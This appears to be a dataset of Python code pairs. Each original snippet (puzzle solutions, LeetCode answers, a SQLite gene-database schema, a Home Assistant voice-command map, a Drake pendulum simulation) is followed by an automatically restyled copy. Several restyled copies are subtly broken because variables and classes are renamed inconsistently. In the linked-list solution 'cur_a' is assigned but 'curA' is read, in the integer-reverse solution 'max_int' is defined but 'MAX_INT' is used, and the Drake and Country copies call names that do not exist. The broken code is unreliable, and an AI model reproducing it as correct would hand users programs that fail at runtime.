def turn_on_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): lights[x][y] = True def turn_off_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): lights[x][y] = False def toggle_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): if lights[x][y]: lights[x][y] = False else: lights[x][y] = True def coordinate_from_string(s): return tuple([int(x) for x in s.split(",")]) def lit_lights(lights): return sum(row.count(True) for row in lights) def all_lights_off(): return [([False] * 1000).copy() for x in range(0,1000)] def main(): lights = all_lights_off() with open("Day6.txt") as f: for command in [l.rstrip() for l in f.readlines()]: parts = command.split(" ") begin = coordinate_from_string(parts[-3]) end = coordinate_from_string(parts[-1]) if command.startswith("toggle"): toggle_lights(lights, begin, end) if parts[1] == "on": turn_on_lights(lights, begin, end) if parts[1] == "off": turn_off_lights(lights, begin, end) print("Lit lights: %d" % (lit_lights(lights),)) if __name__ == "__main__": main()
def turn_on_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): lights[x][y] = True def turn_off_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): lights[x][y] = False def toggle_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): if lights[x][y]: lights[x][y] = False else: lights[x][y] = True def coordinate_from_string(s): return tuple([int(x) for x in s.split(',')]) def lit_lights(lights): return sum((row.count(True) for row in lights)) def all_lights_off(): return [([False] * 1000).copy() for x in range(0, 1000)] def main(): lights = all_lights_off() with open('Day6.txt') as f: for command in [l.rstrip() for l in f.readlines()]: parts = command.split(' ') begin = coordinate_from_string(parts[-3]) end = coordinate_from_string(parts[-1]) if command.startswith('toggle'): toggle_lights(lights, begin, end) if parts[1] == 'on': turn_on_lights(lights, begin, end) if parts[1] == 'off': turn_off_lights(lights, begin, end) print('Lit lights: %d' % (lit_lights(lights),)) if __name__ == '__main__': main()
#!/usr/bin/env python ''' WIP def main(): script_main('you-get', any_download, any_download_playlist) if __name__ == "__main__": main() '''
""" WIP def main(): script_main('you-get', any_download, any_download_playlist) if __name__ == "__main__": main() """
''' @Date: 2019-09-10 20:36:03 @Author: ywyz @LastModifiedBy: ywyz @Github: https://github.com/ywyz @LastEditors: ywyz @LastEditTime: 2019-09-10 20:41:39 ''' for number in range(1, 7): spacenumber = 6 - number while spacenumber >= 0: print(" ", end=" ") spacenumber -= 1 n = number while n > 0: print(n, end=" ") n -= 1 print("\n")
""" @Date: 2019-09-10 20:36:03 @Author: ywyz @LastModifiedBy: ywyz @Github: https://github.com/ywyz @LastEditors: ywyz @LastEditTime: 2019-09-10 20:41:39 """ for number in range(1, 7): spacenumber = 6 - number while spacenumber >= 0: print(' ', end=' ') spacenumber -= 1 n = number while n > 0: print(n, end=' ') n -= 1 print('\n')
numeros = [] for n in range(1,101): numeros.append(n) print(numeros)
numeros = [] for n in range(1, 101): numeros.append(n) print(numeros)
#!/usr/bin/env python def organism(con): con.executescript( ''' CREATE TABLE Organisms ( abbr TEXT PRIMARY KEY, name TEXT ); ''') def species(con): con.executescript( ''' CREATE TABLE Genes ( gid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE GeneEntrezGeneIds ( gid TEXT, entrez_gene_id TEXT, PRIMARY KEY (gid, entrez_gene_id) ); CREATE INDEX GeneEntrezGeneIds_idx_entrez_gene_id ON GeneEntrezGeneIds (entrez_gene_id); CREATE TABLE GeneGis ( gid TEXT, gi TEXT, PRIMARY KEY (gid, gi) ); CREATE INDEX GeneGis_idx_gi ON GeneGis (gi); CREATE TABLE GeneUniprotkbAcs ( gid TEXT, uniprotkb_ac TEXT, PRIMARY KEY (gid, uniprotkb_ac) ); CREATE INDEX GeneUniprotkbAcs_idx_uniprotkb_ac ON GeneUniprotkbAcs (uniprotkb_ac); CREATE TABLE GeneEnsemblGeneIds ( gid TEXT, ensembl_gene_id TEXT, PRIMARY KEY (gid, ensembl_gene_id) ); CREATE INDEX GeneEnsemblGeneIds_idx_ensembl_gene_id ON GeneEnsemblGeneIds (ensembl_gene_id); CREATE TABLE Orthologs ( gid TEXT, oid TEXT, PRIMARY KEY (gid, oid) ); CREATE TABLE Pathways ( pid INTEGER PRIMARY KEY, db TEXT, id TEXT, name TEXT ); CREATE TABLE GenePathways ( gid TEXT, pid INTEGER, PRIMARY KEY (gid, pid) ); CREATE TABLE Diseases ( did INTEGER PRIMARY KEY, db TEXT, id TEXT, name TEXT ); CREATE TABLE GeneDiseases ( gid TEXT, did INTEGER, PRIMARY KEY (gid, did) ); CREATE TABLE Gos ( goid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE GeneGos ( gid TEXT, goid TEXT, PRIMARY KEY (gid, goid) ); ''') def ko(con): con.executescript( ''' CREATE TABLE Kos ( koid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE KoGenes ( koid TEXT, gid TEXT, PRIMARY KEY (koid, gid) ); CREATE INDEX KoGenes_idx_gid ON KoGenes (gid); CREATE TABLE KoEntrezGeneIds ( koid TEXT, entrez_gene_id TEXT, PRIMARY KEY (koid, entrez_gene_id) ); CREATE INDEX KoEntrezGeneIds_idx_entrez_gene_id ON KoEntrezGeneIds (entrez_gene_id); CREATE TABLE KoGis ( koid TEXT, gi TEXT, PRIMARY KEY (koid, gi) ); CREATE INDEX KoGis_idx_gi ON KoGis (gi); CREATE TABLE KoUniprotkbAcs ( koid TEXT, uniprotkb_ac TEXT, PRIMARY KEY (koid, uniprotkb_ac) ); CREATE INDEX KoUniprotkbAcs_idx_uniprotkb_ac ON KoUniprotkbAcs (uniprotkb_ac); CREATE TABLE KoEnsemblGeneIds ( koid TEXT, ensembl_gene_id TEXT, PRIMARY KEY (koid, ensembl_gene_id) ); CREATE INDEX KoEnsemblGeneIds_idx_ensembl_gene_id ON KoEnsemblGeneIds (ensembl_gene_id); CREATE TABLE Pathways ( pid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE KoPathways ( koid TEXT, pid TEXT, PRIMARY KEY (koid, pid) ); ''')
def organism(con): con.executescript('\nCREATE TABLE Organisms\n(\n abbr TEXT PRIMARY KEY,\n name TEXT\n);\n ') def species(con): con.executescript('\nCREATE TABLE Genes\n(\n gid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE GeneEntrezGeneIds\n(\n gid TEXT,\n entrez_gene_id TEXT,\n PRIMARY KEY (gid, entrez_gene_id)\n);\nCREATE INDEX GeneEntrezGeneIds_idx_entrez_gene_id ON GeneEntrezGeneIds (entrez_gene_id);\nCREATE TABLE GeneGis\n(\n gid TEXT,\n gi TEXT,\n PRIMARY KEY (gid, gi)\n);\nCREATE INDEX GeneGis_idx_gi ON GeneGis (gi);\nCREATE TABLE GeneUniprotkbAcs\n(\n gid TEXT,\n uniprotkb_ac TEXT,\n PRIMARY KEY (gid, uniprotkb_ac)\n);\nCREATE INDEX GeneUniprotkbAcs_idx_uniprotkb_ac ON GeneUniprotkbAcs (uniprotkb_ac);\nCREATE TABLE GeneEnsemblGeneIds\n(\n gid TEXT,\n ensembl_gene_id TEXT,\n PRIMARY KEY (gid, ensembl_gene_id)\n);\nCREATE INDEX GeneEnsemblGeneIds_idx_ensembl_gene_id ON GeneEnsemblGeneIds (ensembl_gene_id);\nCREATE TABLE Orthologs\n(\n gid TEXT,\n oid TEXT,\n PRIMARY KEY (gid, oid)\n);\nCREATE TABLE Pathways\n(\n pid INTEGER PRIMARY KEY,\n db TEXT,\n id TEXT,\n name TEXT\n);\nCREATE TABLE GenePathways\n(\n gid TEXT,\n pid INTEGER,\n PRIMARY KEY (gid, pid)\n);\nCREATE TABLE Diseases\n(\n did INTEGER PRIMARY KEY,\n db TEXT,\n id TEXT,\n name TEXT\n);\nCREATE TABLE GeneDiseases\n(\n gid TEXT,\n did INTEGER,\n PRIMARY KEY (gid, did)\n);\nCREATE TABLE Gos\n(\n goid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE GeneGos\n(\n gid TEXT,\n goid TEXT,\n PRIMARY KEY (gid, goid)\n);\n ') def ko(con): con.executescript('\nCREATE TABLE Kos\n(\n koid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE KoGenes\n(\n koid TEXT,\n gid TEXT,\n PRIMARY KEY (koid, gid)\n);\nCREATE INDEX KoGenes_idx_gid ON KoGenes (gid);\nCREATE TABLE KoEntrezGeneIds\n(\n koid TEXT,\n entrez_gene_id TEXT,\n PRIMARY KEY (koid, entrez_gene_id)\n);\nCREATE INDEX KoEntrezGeneIds_idx_entrez_gene_id ON KoEntrezGeneIds (entrez_gene_id);\nCREATE TABLE KoGis\n(\n koid TEXT,\n gi TEXT,\n PRIMARY KEY (koid, gi)\n);\nCREATE INDEX KoGis_idx_gi ON KoGis (gi);\nCREATE TABLE KoUniprotkbAcs\n(\n koid TEXT,\n uniprotkb_ac TEXT,\n PRIMARY KEY (koid, uniprotkb_ac)\n);\nCREATE INDEX KoUniprotkbAcs_idx_uniprotkb_ac ON KoUniprotkbAcs (uniprotkb_ac);\nCREATE TABLE KoEnsemblGeneIds\n(\n koid TEXT,\n ensembl_gene_id TEXT,\n PRIMARY KEY (koid, ensembl_gene_id)\n);\nCREATE INDEX KoEnsemblGeneIds_idx_ensembl_gene_id ON KoEnsemblGeneIds (ensembl_gene_id);\nCREATE TABLE Pathways\n(\n pid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE KoPathways\n(\n koid TEXT,\n pid TEXT,\n PRIMARY KEY (koid, pid)\n);\n ')
""" Module Docstring Docstrings: http://www.python.org/dev/peps/pep-0257/ """ __author__ = 'Yannic Schneider (v@vendetta.ch)' __copyright__ = 'Copyright (c) 20xx Yannic Schneider' __license__ = 'WTFPL' __vcs_id__ = '$Id$' __version__ = '0.1' #Versioning: http://www.python.org/dev/peps/pep-0386/ # ## Code goes here. # def read_file(path): """Read a file and return as string object""" return open(path, encoding='latin-1') def read_file_strip(path): """Read a file and strip newlines so the result is on one line""" fobj = open(path, encoding='latin-1') ret = '' for line in fobj: ret += line.strip() return ret
""" Module Docstring Docstrings: http://www.python.org/dev/peps/pep-0257/ """ __author__ = 'Yannic Schneider (v@vendetta.ch)' __copyright__ = 'Copyright (c) 20xx Yannic Schneider' __license__ = 'WTFPL' __vcs_id__ = '$Id$' __version__ = '0.1' def read_file(path): """Read a file and return as string object""" return open(path, encoding='latin-1') def read_file_strip(path): """Read a file and strip newlines so the result is on one line""" fobj = open(path, encoding='latin-1') ret = '' for line in fobj: ret += line.strip() return ret
class DoubleExpression: def __init__(self, value): self.value = value def accept(self, visitor): visitor.visit(self)
class Doubleexpression: def __init__(self, value): self.value = value def accept(self, visitor): visitor.visit(self)
# Time: O(m + n) # Space: O(1) class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): # @param two ListNodes # @return the intersected ListNode def getIntersectionNode(self, headA, headB): curA, curB = headA, headB while curA != curB: curA = curA.next if curA else headB curB = curB.next if curB else headA return curA
class Listnode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def get_intersection_node(self, headA, headB): (cur_a, cur_b) = (headA, headB) while curA != curB: cur_a = curA.next if curA else headB cur_b = curB.next if curB else headA return curA
############################################# ## hassioNode commandWord map ############################################# print('Load hassioNode masterBedroom commandWord map') wordMap = { "Media": { "Louder": [ {"id": 0, "type": "call_service", "domain": "media_player", "service": "volume_up", "service_data": {"entity_id": "media_player.master_bedroom"}}, ], "Softer": [ {"type": "call_service", "domain": "media_player", "service": "volume_down", "service_data": {"entity_id": "media_player.master_bedroom"}}, ], "Silence": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": True}}, ], "Sound": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": False}}, ], "Sleep": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "Blues"}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.14}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "sonos", "service": "set_sleep_timer", "service_data": {"entity_id": "media_player.bedroom", "sleep_time": 3600}}, {"type": "call_service", "domain": "sonos", "service": "unjoin", "service_data": {"entity_id": "media_player.bathroom"}}, ], "Relax": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": True}}, ], "Wake": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "Mix"}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.2}}, {"type": "call_service", "domain": "sonos", "service": "join", "service_data": {"master": "media_player.bedroom", "entity_id": "media_player.bathroom"}}, ], "Reset": [ {"type": "call_service", "domain": "switch", "service": "turn_off", "service_data": {"entity_id": "switch.31485653bcddc23a2807"}}, ], "Preset1": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "30 Minutes"}}, ], "Preset2": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "60 Minutes"}}, ], "Preset3": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "90 Minutes"}}, ], "Preset4": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "120 Minutes"}}, ], "On": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "TV"}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.25}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "sonos", "service": "join", "service_data": {"master": "media_player.bedroom", "entity_id": "media_player.bathroom"}}, ], } }
print('Load hassioNode masterBedroom commandWord map') word_map = {'Media': {'Louder': [{'id': 0, 'type': 'call_service', 'domain': 'media_player', 'service': 'volume_up', 'service_data': {'entity_id': 'media_player.master_bedroom'}}], 'Softer': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_down', 'service_data': {'entity_id': 'media_player.master_bedroom'}}], 'Silence': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': True}}], 'Sound': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': False}}], 'Sleep': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'Blues'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 'media_player.bedroom', 'volume_level': 0.14}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'set_sleep_timer', 'service_data': {'entity_id': 'media_player.bedroom', 'sleep_time': 3600}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'unjoin', 'service_data': {'entity_id': 'media_player.bathroom'}}], 'Relax': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': True}}], 'Wake': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'Mix'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 'media_player.bedroom', 'volume_level': 0.2}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'join', 'service_data': {'master': 'media_player.bedroom', 'entity_id': 'media_player.bathroom'}}], 'Reset': [{'type': 'call_service', 'domain': 'switch', 'service': 'turn_off', 'service_data': {'entity_id': 'switch.31485653bcddc23a2807'}}], 'Preset1': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '30 Minutes'}}], 'Preset2': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '60 Minutes'}}], 'Preset3': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '90 Minutes'}}], 'Preset4': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '120 Minutes'}}], 'On': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'TV'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 'media_player.bedroom', 'volume_level': 0.25}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'join', 'service_data': {'master': 'media_player.bedroom', 'entity_id': 'media_player.bathroom'}}]}}
"""Utility functions for the testing module. Dribia 2021/08/04, irene <irene@dribia.com> """
"""Utility functions for the testing module. Dribia 2021/08/04, irene <irene@dribia.com> """
def add(x, y): return x + y def subtract(x, y): return x - y def inc(x): return x + 1 def test_add(): assert add(1, 2) == 3 def test_subtract(): assert subtract(2, 1) == 1 def test_inc(): assert inc(1) == 2
def add(x, y): return x + y def subtract(x, y): return x - y def inc(x): return x + 1 def test_add(): assert add(1, 2) == 3 def test_subtract(): assert subtract(2, 1) == 1 def test_inc(): assert inc(1) == 2
class lrd: def __init__(self, waiting_time, start_lr, min_lr, factor): self.waiting_time = waiting_time self.start_lr = start_lr self.min_lr = min_lr self.factor = factor self.min_value = 10000000000000000000 self.waited = 0 self.actual_lr = self.start_lr self.stop = False def set_new_lr(self, new_value): if new_value < self.min_value: self.waited = 0 self.min_value = new_value return self.actual_lr self.waited += 1 if self.waited > self.waiting_time: self.actual_lr /= self.factor self.waited = 0 if self.actual_lr < self.min_lr: self.stop = True return self.actual_lr
class Lrd: def __init__(self, waiting_time, start_lr, min_lr, factor): self.waiting_time = waiting_time self.start_lr = start_lr self.min_lr = min_lr self.factor = factor self.min_value = 10000000000000000000 self.waited = 0 self.actual_lr = self.start_lr self.stop = False def set_new_lr(self, new_value): if new_value < self.min_value: self.waited = 0 self.min_value = new_value return self.actual_lr self.waited += 1 if self.waited > self.waiting_time: self.actual_lr /= self.factor self.waited = 0 if self.actual_lr < self.min_lr: self.stop = True return self.actual_lr
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ MAX_INT = (1 << 31) - 1 MIN_INT = -MAX_INT - 1 if x == MIN_INT: return 0 res = 0 p = x if x >= 0 else -x while p != 0: digit = p % 10 if res <= MAX_INT // 10: res = res * 10 + digit else: return 0 p = p // 10 return res if x >= 0 else -res
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ max_int = (1 << 31) - 1 min_int = -MAX_INT - 1 if x == MIN_INT: return 0 res = 0 p = x if x >= 0 else -x while p != 0: digit = p % 10 if res <= MAX_INT // 10: res = res * 10 + digit else: return 0 p = p // 10 return res if x >= 0 else -res
#!/usr/bin/env python3 def check_palindrome(num): num = str(num) for i in range(0, int((len(num) + 1) / 2)): if num[i] != num[-i]: return False return True def simple_palindrome(num): num = str(num) return num == num[::-1] biggest = 0 for i in range(100, 999): for j in range(100, 999): temp = i * j if temp > biggest: if simple_palindrome(temp): biggest = temp print(biggest)
def check_palindrome(num): num = str(num) for i in range(0, int((len(num) + 1) / 2)): if num[i] != num[-i]: return False return True def simple_palindrome(num): num = str(num) return num == num[::-1] biggest = 0 for i in range(100, 999): for j in range(100, 999): temp = i * j if temp > biggest: if simple_palindrome(temp): biggest = temp print(biggest)
""" Reverse encoding functions. Reverse encoding is the simplest of encoding methods. It just reverses order of text characters. """ def encode(text: str) -> str: """ Reverse order of given text characters. :param text: Text to reverse. :return: Reversed text. """ reversed_text = "".join(char for char in text[-1::-1]) return reversed_text def decode(text: str) -> str: """ Obtain original text from a reversed text. :param text: Reversed text. :return: Original text. """ # Reverse of reverse is original text. return encode(text)
""" Reverse encoding functions. Reverse encoding is the simplest of encoding methods. It just reverses order of text characters. """ def encode(text: str) -> str: """ Reverse order of given text characters. :param text: Text to reverse. :return: Reversed text. """ reversed_text = ''.join((char for char in text[-1::-1])) return reversed_text def decode(text: str) -> str: """ Obtain original text from a reversed text. :param text: Reversed text. :return: Original text. """ return encode(text)
""" Semantic adversarial Examples """ __all__ = ['semantic', 'Semantic'] def semantic(x, center:bool=True, max_val:float=1.): """ Semantic adversarial examples. https://arxiv.org/abs/1703.06857 Note: data must either be centered (so that the negative image can be made by simple negation) or must be in the interval of [-1, 1] Arguments --------- net : nn.Module, optional The model on which to perform the attack. center : bool If true, assumes data has 0 mean so the negative image is just negation. If false, assumes data is in interval [0, max_val] max_val : float Maximum value allowed in the input data. """ if center: return x*-1 return max_val - x ################################################################ ###### Class to initialize this attack ###### mainly for the use with torchvision.transforms class Semantic(): def __init__(self, net=None, **kwargs): self.kwargs = kwargs def __call__(self, x): return semantic(x, **self.kwargs)
""" Semantic adversarial Examples """ __all__ = ['semantic', 'Semantic'] def semantic(x, center: bool=True, max_val: float=1.0): """ Semantic adversarial examples. https://arxiv.org/abs/1703.06857 Note: data must either be centered (so that the negative image can be made by simple negation) or must be in the interval of [-1, 1] Arguments --------- net : nn.Module, optional The model on which to perform the attack. center : bool If true, assumes data has 0 mean so the negative image is just negation. If false, assumes data is in interval [0, max_val] max_val : float Maximum value allowed in the input data. """ if center: return x * -1 return max_val - x class Semantic: def __init__(self, net=None, **kwargs): self.kwargs = kwargs def __call__(self, x): return semantic(x, **self.kwargs)
class Solution(object): def isLongPressedName(self, name, typed): """ :type name: str :type typed: str :rtype: bool """ if name == typed: return True for c in name: try: index = typed.index(c) typed = typed[index+1:] except: return False return True
class Solution(object): def is_long_pressed_name(self, name, typed): """ :type name: str :type typed: str :rtype: bool """ if name == typed: return True for c in name: try: index = typed.index(c) typed = typed[index + 1:] except: return False return True
def consume_rec(xs, fn, n=0): if n <= 0: fn(xs) else: for x in xs: consume_rec(x, fn, n=n - 1)
def consume_rec(xs, fn, n=0): if n <= 0: fn(xs) else: for x in xs: consume_rec(x, fn, n=n - 1)
# Load the double pendulum from Universal Robot Description Format #tree = RigidBodyTree(FindResource("double_pendulum/double_pendulum.urdf"), FloatingBaseType.kFixed) #tree = RigidBodyTree(FindResource("../../notebooks/three_link.urdf"), FloatingBaseType.kFixed) #tree = RigidBodyTree(FindResource("../../drake/examples/compass_gait/CompassGait.urdf"), FloatingBaseType.kFixed) tree = RigidBodyTree(FindResource("../../notebooks/three_link.urdf"), FloatingBaseType.kFixed) box_depth = 100 pi = math.pi R = np.identity(3) slope = 0 R[0, 0] = math.cos(slope) R[0, 2] = math.sin(slope) R[2, 0] = -math.sin(slope) R[2, 2] = math.cos(slope) X = Isometry3(rotation=R, translation=[0, 0, -5.]) color = np.array([0.9297, 0.7930, 0.6758, 1]) tree.world().AddVisualElement(VisualElement(Box([100., 1., 10.]), X, color)) tree.addCollisionElement(CollisionElement(Box([100., 1., 10.]), X), tree.world(), "the_ground") tree.compile() # Set up a block diagram with the robot (dynamics) and a visualization block. builder = DiagramBuilder() robot = builder.AddSystem(RigidBodyPlant(tree)) logger = builder.AddSystem(SignalLogger(robot.get_output_port(0).size())) logger._DeclarePeriodicPublish(1. / 30., 0.0) builder.Connect(robot.get_output_port(0), logger.get_input_port(0)) builder.ExportInput(robot.get_input_port(0)) #this allows the outside world to see push inputs in (or whatever) diagram = builder.Build() # Set up a simulator to run this diagram simulator = Simulator(diagram) #simulator.set_target_realtime_rate(1.0) simulator.set_publish_every_time_step(False) # Set the initial conditions context = simulator.get_mutable_context() context.FixInputPort(0, BasicVector([0., 0.])) # Zero input torques state = context.get_mutable_continuous_state_vector() state.SetFromVector((pi + pi/8, pi/2 + pi/4 ,3*pi/2,0.,0.,0,)) # initial condition # Simulate for 10 seconds simulator.StepTo(3) prbv = PlanarRigidBodyVisualizer(tree, xlim=[-2.5, 2.5], ylim=[-5, 2.5]) ani = prbv.animate(logger, repeat=True) #plt.close(prbv.fig) HTML(ani.to_html5_video())
tree = rigid_body_tree(find_resource('../../notebooks/three_link.urdf'), FloatingBaseType.kFixed) box_depth = 100 pi = math.pi r = np.identity(3) slope = 0 R[0, 0] = math.cos(slope) R[0, 2] = math.sin(slope) R[2, 0] = -math.sin(slope) R[2, 2] = math.cos(slope) x = isometry3(rotation=R, translation=[0, 0, -5.0]) color = np.array([0.9297, 0.793, 0.6758, 1]) tree.world().AddVisualElement(visual_element(box([100.0, 1.0, 10.0]), X, color)) tree.addCollisionElement(collision_element(box([100.0, 1.0, 10.0]), X), tree.world(), 'the_ground') tree.compile() builder = diagram_builder() robot = builder.AddSystem(rigid_body_plant(tree)) logger = builder.AddSystem(signal_logger(robot.get_output_port(0).size())) logger._DeclarePeriodicPublish(1.0 / 30.0, 0.0) builder.Connect(robot.get_output_port(0), logger.get_input_port(0)) builder.ExportInput(robot.get_input_port(0)) diagram = builder.Build() simulator = simulator(diagram) simulator.set_publish_every_time_step(False) context = simulator.get_mutable_context() context.FixInputPort(0, basic_vector([0.0, 0.0])) state = context.get_mutable_continuous_state_vector() state.SetFromVector((pi + pi / 8, pi / 2 + pi / 4, 3 * pi / 2, 0.0, 0.0, 0)) simulator.StepTo(3) prbv = planar_rigid_body_visualizer(tree, xlim=[-2.5, 2.5], ylim=[-5, 2.5]) ani = prbv.animate(logger, repeat=True) html(ani.to_html5_video())
""" Given two binary strings a and b, return their sum as a binary string. Example 1: Input: a = "11", b = "1" Output: "100" Example 2: Input: a = "1010", b = "1011" Output: "10101" Constraints: 1 <= a.length, b.length <= 104 a and b consist only of '0' or '1' characters. Each string does not contain leading zeros except for the zero itself. """ #ALGORITHM -> TC (O(N + M)) & SpaceComplexity (O(max(N, M))) where N and M are length of input """ Convert a and b into integers x and y, x will be used to keep an answer, and y for the carry. While carry is nonzero: y != 0: Current answer without carry is XOR of x and y: answer = x^y. Current carry is left-shifted AND of x and y: carry = (x & y) << 1. Job is done, prepare the next loop: x = answer, y = carry. Return x in the binary form. """ class Solution(object): def addBinary(self, a, b): """ :type a: str :type b: str :rtype: str """ temp1, temp2 = int(a, 2), int(b, 2) while temp2: ans = temp1 ^ temp2 carry = (temp1 & temp2) << 1 temp1, temp2 = ans, carry return bin(temp1)[2:]
""" Given two binary strings a and b, return their sum as a binary string. Example 1: Input: a = "11", b = "1" Output: "100" Example 2: Input: a = "1010", b = "1011" Output: "10101" Constraints: 1 <= a.length, b.length <= 104 a and b consist only of '0' or '1' characters. Each string does not contain leading zeros except for the zero itself. """ '\nConvert a and b into integers x and y, x will be used to keep an answer, and y for the carry.\n\n While carry is nonzero: y != 0:\n\n Current answer without carry is XOR of x and y: answer = x^y.\n\n Current carry is left-shifted AND of x and y: carry = (x & y) << 1.\n\n Job is done, prepare the next loop: x = answer, y = carry.\n\nReturn x in the binary form.\n' class Solution(object): def add_binary(self, a, b): """ :type a: str :type b: str :rtype: str """ (temp1, temp2) = (int(a, 2), int(b, 2)) while temp2: ans = temp1 ^ temp2 carry = (temp1 & temp2) << 1 (temp1, temp2) = (ans, carry) return bin(temp1)[2:]
def info_file_parser(filename, verbose=False): results = {} infile = open(filename,'r') for iline, line in enumerate(infile): if line[0]=='#': continue lines = line.split() if len(lines)<2 : continue if lines[0][0]=='#': continue infotype = lines[0] infotype=infotype.replace(':','') info = lines[1] results[infotype]=info return results
def info_file_parser(filename, verbose=False): results = {} infile = open(filename, 'r') for (iline, line) in enumerate(infile): if line[0] == '#': continue lines = line.split() if len(lines) < 2: continue if lines[0][0] == '#': continue infotype = lines[0] infotype = infotype.replace(':', '') info = lines[1] results[infotype] = info return results
class AlreadyExists(Exception): pass class NoRights(Exception): pass class EntryNotFound(Exception): pass class LoginFailed(Exception): pass # input validation """ Input validation """ class InvalidInput(Exception): pass
class Alreadyexists(Exception): pass class Norights(Exception): pass class Entrynotfound(Exception): pass class Loginfailed(Exception): pass ' Input validation ' class Invalidinput(Exception): pass
class Country(): def __init__(self, name='Unspecified', population=None, size_kmsq=None): #keyword argument. self.name = name self.population = population self.size_kmsq = size_kmsq def __str__(self): return self.name if __name__ == '__main__': usa = Country(name='United States of America', size_kmsq=9.8e6) print(usa.__dict__) #Dictionary output of usa object. chad = Country(name = 'chad') print(chad) chad = Country(name = 'algeria') print(chad)
class Country: def __init__(self, name='Unspecified', population=None, size_kmsq=None): self.name = name self.population = population self.size_kmsq = size_kmsq def __str__(self): return self.name if __name__ == '__main__': usa = country(name='United States of America', size_kmsq=9800000.0) print(usa.__dict__) chad = country(name='chad') print(chad) chad = country(name='algeria') print(chad)
